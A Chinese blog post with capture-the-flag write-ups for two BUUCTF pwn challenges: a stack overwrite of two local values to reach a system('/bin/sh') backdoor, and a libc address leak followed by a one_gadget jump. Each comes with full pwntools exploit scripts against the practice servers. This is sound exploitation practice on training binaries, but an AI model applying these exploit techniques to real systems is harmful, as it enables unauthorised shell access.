buuctf:护网杯_2018_gettingstart、oneshot_tjctf_2016
本文最后更新于256 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com

1、护网杯_2018_gettingstart分析


64位还开得挺多的,连一下

如果我们不处理,得等死,所以咱得找找漏洞

程序是有后门函数的,可能需要达成什么条件才能触发

main函数


可以发现不会造成栈溢出,可以发现我们需要满足下面的条件:

  if ( v8 != 0x7FFFFFFFFFFFFFFFLL || v9 != 0.1 )
  {
    puts("Try again!");
  }
  else
  {
    printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v9);
    system("/bin/sh");
  }


v8=0x7FFFFFFFFFFFFFFF或者v9=0.1,但是程序进行过初始化,

v8 = 0x7FFFFFFFFFFFFFFFLL;
  v9 = 1.797693134862316e308;

var_18和var_10是存有v8和v9,那么写入的时候能够改掉这两个值,但是有一个知识点需要注意一下,感谢大佬的博客,这里有一个计算的小工具

https://www.binaryconvert.com/result_double.html?decimal=048046049

注意是double类型

2、护网杯_2018_gettingstart实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26580)

payload=b'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()


3、oneshot_tjctf_2016分析


64位+NX,连一下

这个样子,去找找漏洞

main函数

然后我们填一个地址,后面是跳到某个地址,唉好想跳到后门去,可惜没有现货,咋办捏?

利用one_gadget吧,试一试呗

流程就是先泄露libc,然后看看one_gadget,计算地址,最后一个一个试试吧

4、oneshot_tjctf_2016实操

先泄露libc,用puts吧

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29327)
elf=ELF("./oneshot_tjctf_2016")

rdi=0x400743
puts_got=elf.got['puts']
p.recvuntil("Read location?")
p.sendline(str(puts_got))
p.recvuntil("Value:")
p.interactive()         


ok,接下来就是one_gadget的事了


有很多,选第一个

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29327)
elf=ELF("./oneshot_tjctf_2016")

rdi=0x400743
puts_got=elf.got['puts']
p.recvuntil("Read location?")
p.sendline(str(puts_got))
p.recvuntil("0x")
puts=int(p.recvuntil('\n'),16)
print(hex(puts))

libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
one_gadget=0x45216+base
p.sendline(str(one_gadget))
p.interactive()


就到这儿吧……

视疲劳推荐施图伦,七叶黄洋眼药水啊......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇